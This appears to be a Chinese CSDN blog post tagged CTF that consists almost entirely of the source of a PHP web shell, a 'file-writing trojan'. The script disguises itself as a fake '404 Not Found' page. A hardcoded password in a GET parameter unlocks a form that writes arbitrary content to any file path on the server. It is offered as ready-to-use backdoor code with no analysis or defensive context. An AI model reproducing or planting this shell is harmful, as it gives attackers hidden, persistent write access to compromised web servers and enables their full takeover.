[php]写入类小马

最新推荐文章于 2024-04-19 05:29:24 发布

捞氘河水怪

最新推荐文章于 2024-04-19 05:29:24 发布

阅读量255

点赞数

分类专栏： php ctf html 文章标签：后端 php 前端

本文链接：https://blog.csdn.net/qq_37301470/article/details/121401285

版权

ctf 同时被 3 个专栏收录

42 篇文章 2 订阅

订阅专栏

html

10 篇文章 1 订阅

订阅专栏

php

8 篇文章 0 订阅

订阅专栏

<?php
	header("Content-type:text/html;charset=utf-8");
	$get=$_GET['pwd'];
	$pass=md5(md5(123));
	if(!empty($get)){
		if(md5(md5($get))==$pass){

			echo "login"."<br>";
			echo '<form method="post">';

			echo "服务器类型:".$_SERVER['SERVER_SOFTWARE'];
			echo '<br>文件路径<br><input type="text" name="addr" value="' . $_SERVER['SCRIPT_FILENAME'] . '">';
			echo '<br>文件内容<br><textarea name="content" id="content"></textarea><br>';
			echo '<input type="submit" name="" >';
			echo "</form>";
			$path=$_POST['addr'];
			$content=$_POST['content'];

			$command=fopen($path, "w");
			if(fwrite($command, $content)){
                echo '<font color="red">success</font><br/>';
            }else{
                echo '<font color="red">error!</font><br/>';
            }




		}else{

			echo "wrong pass";
		}


	}else{
		?>
    

    <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN\">

    <head>
        <title>404 Not Found</title>
    </head>
    <body>
    <h1>Not Found</h1>
    <p>The requested URL <?php echo($_SERVER['REQUEST_URI']); ?> was not found on this server.</p>
    </body>


<?php		
	}
?>

捞氘河水怪

关注

0
点赞
踩
0

收藏

觉得还不错? 一键收藏
0
评论
[php]写入类小马

<?php header("Content-type:text/html;charset=utf-8"); $get=$_GET['pwd']; $pass=md5(md5(123)); if(!empty($get)){ if(md5(md5($get))==$pass){ echo "login"."<br>"; echo '<form method="post">'; echo "服务器类型:".$_SERVER['SERVER_SOFT
复制链接

扫一扫